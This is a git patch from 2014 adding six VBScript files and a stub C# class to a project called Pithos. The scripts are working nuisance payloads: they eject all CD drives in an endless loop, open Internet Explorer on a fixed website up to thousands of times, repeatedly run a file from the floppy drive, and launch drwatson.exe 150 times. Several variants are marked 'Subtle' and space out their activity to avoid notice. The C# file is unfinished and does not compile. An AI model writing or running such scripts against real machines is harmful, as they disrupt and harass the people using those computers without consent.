From 0aabb99e068f6edb6803c5c803c10afb9c5a267f Mon Sep 17 00:00:00 2001
From: Jake Howard <jake@theorangeone.net>
Date: Tue, 30 Dec 2014 22:36:01 +0000
Subject: [PATCH] Added file for pithos execution, and added programs to
 resources.

---
 Pithos.csproj                                 | 20 ++++++++++++++++++
 Resources/CD - Subtle.vbs                     | 14 +++++++++++++
 Resources/CD.vbs                              | 13 ++++++++++++
 .../Do you know about the bird - Subtle.vbs   | 11 ++++++++++
 Resources/Do you know about the bird.vbs      |  9 ++++++++
 Resources/Floppy Grind.vbs                    |  9 ++++++++
 Resources/Help me Mr Watson!.vbs              |  8 +++++++
 pithosPrograms.cs                             | 21 +++++++++++++++++++
 8 files changed, 105 insertions(+)
 create mode 100644 Resources/CD - Subtle.vbs
 create mode 100644 Resources/CD.vbs
 create mode 100644 Resources/Do you know about the bird - Subtle.vbs
 create mode 100644 Resources/Do you know about the bird.vbs
 create mode 100644 Resources/Floppy Grind.vbs
 create mode 100644 Resources/Help me Mr Watson!.vbs
 create mode 100644 pithosPrograms.cs

diff --git a/Pithos.csproj b/Pithos.csproj
index 3074e21..68717a5 100644
--- a/Pithos.csproj
+++ b/Pithos.csproj
@@ -50,6 +50,7 @@
     <Compile Include="mainWindow.Designer.cs">
       <DependentUpon>mainWindow.cs</DependentUpon>
     </Compile>
+    <Compile Include="pithosPrograms.cs" />
     <Compile Include="privateFunctions.cs" />
     <Compile Include="tools.cs" />
     <Compile Include="unlock.cs">
@@ -75,6 +76,7 @@
     <Compile Include="Properties\Resources.Designer.cs">
       <AutoGen>True</AutoGen>
       <DependentUpon>Resources.resx</DependentUpon>
+      <DesignTime>True</DesignTime>
     </Compile>
     <None Include="Properties\Settings.settings">
       <Generator>SettingsSingleFileGenerator</Generator>
@@ -89,6 +91,24 @@
   <ItemGroup>
     <None Include="App.config" />
   </ItemGroup>
+  <ItemGroup>
+    <None Include="Resources\CD - Subtle.vbs" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="Resources\CD.vbs" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="Resources\Do you know about the bird - Subtle.vbs" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="Resources\Do you know about the bird.vbs" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="Resources\Floppy Grind.vbs" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="Resources\Help me Mr Watson!.vbs" />
+  </ItemGroup>
   <Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
   <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
        Other similar extension points exist, see Microsoft.Common.targets.
diff --git a/Resources/CD - Subtle.vbs b/Resources/CD - Subtle.vbs
new file mode 100644
index 0000000..89bd2d6
--- /dev/null
+++ b/Resources/CD - Subtle.vbs	
@@ -0,0 +1,14 @@
+Set oWMP = CreateObject("WMPlayer.OCX.7" ) 
+do 
+	Set colCDROMs = oWMP.cdromCollection 
+	if colCDROMs.Count >= 1 then 
+		For i = 0 to colCDROMs.Count - 1 
+			colCDROMs.Item(i).Eject
+		Next
+		WScript.Sleep 1500
+		For i = 0 to colCDROMs.Count - 1 
+			colCDROMs.Item(i).Eject
+		Next
+	End If 
+	WScript.Sleep 30000
+loop
diff --git a/Resources/CD.vbs b/Resources/CD.vbs
new file mode 100644
index 0000000..e606294
--- /dev/null
+++ b/Resources/CD.vbs
@@ -0,0 +1,13 @@
+Set oWMP = CreateObject("WMPlayer.OCX.7" ) 
+do 
+	Set colCDROMs = oWMP.cdromCollection 
+	if colCDROMs.Count >= 1 then 
+		For i = 0 to colCDROMs.Count - 1 
+			colCDROMs.Item(i).Eject
+		Next
+		WScript.Sleep 1500
+		For i = 0 to colCDROMs.Count - 1 
+			colCDROMs.Item(i).Eject
+		Next
+	End If 
+loop
diff --git a/Resources/Do you know about the bird - Subtle.vbs b/Resources/Do you know about the bird - Subtle.vbs
new file mode 100644
index 0000000..d266985
--- /dev/null
+++ b/Resources/Do you know about the bird - Subtle.vbs	
@@ -0,0 +1,11 @@
+' theorangeone.net/pithos
+Dim objShell
+Set objShell = WScript.CreateObject( "WScript.Shell" )
+
+On error resume next
+for i= 0 to 99999
+	for j= 0 to 3
+		objShell.run(""""C:\Program Files\Internet Explorer\iexplore.exe" www.aboutthebird.com""")
+	next
+	WScript.Sleep 60000
+next
\ No newline at end of file
diff --git a/Resources/Do you know about the bird.vbs b/Resources/Do you know about the bird.vbs
new file mode 100644
index 0000000..2807c8a
--- /dev/null
+++ b/Resources/Do you know about the bird.vbs	
@@ -0,0 +1,9 @@
+' theorangeone.net/pithos
+Dim objShell
+Set objShell = WScript.CreateObject( "WScript.Shell" )
+
+On error resume next
+for i= 0 to 900
+	objShell.run(""""C:\Program Files\Internet Explorer\iexplore.exe" www.aboutthebird.com""")
+	WScript.Sleep 5000
+next
\ No newline at end of file
diff --git a/Resources/Floppy Grind.vbs b/Resources/Floppy Grind.vbs
new file mode 100644
index 0000000..2ba835c
--- /dev/null
+++ b/Resources/Floppy Grind.vbs	
@@ -0,0 +1,9 @@
+' theorangeone.net/pithos
+Dim objShell
+Set objShell = WScript.CreateObject( "WScript.Shell" )
+
+On error resume next
+for i= 0 to 99999
+	objShell.Run("""A:\file.pithos""")
+	WScript.Sleep 2000
+next
\ No newline at end of file
diff --git a/Resources/Help me Mr Watson!.vbs b/Resources/Help me Mr Watson!.vbs
new file mode 100644
index 0000000..10b894c
--- /dev/null
+++ b/Resources/Help me Mr Watson!.vbs	
@@ -0,0 +1,8 @@
+' theorangeone.net/pithos
+Dim objShell
+Set objShell = WScript.CreateObject( "WScript.Shell" )
+
+for i= 0 to 150
+	objShell.Run("""drwatson.exe""")
+next
+Set objShell = Nothing
\ No newline at end of file
diff --git a/pithosPrograms.cs b/pithosPrograms.cs
new file mode 100644
index 0000000..6dfae9d
--- /dev/null
+++ b/pithosPrograms.cs
@@ -0,0 +1,21 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.IO;
+
+namespace Pithos
+{
+    class pithosPrograms
+    {
+        public static void decodeInput(string text)
+        {
+            text.Replace("/exec ", )
+        }
+        private static void CD(bool subtle)
+        {
+
+        }
+    }
+}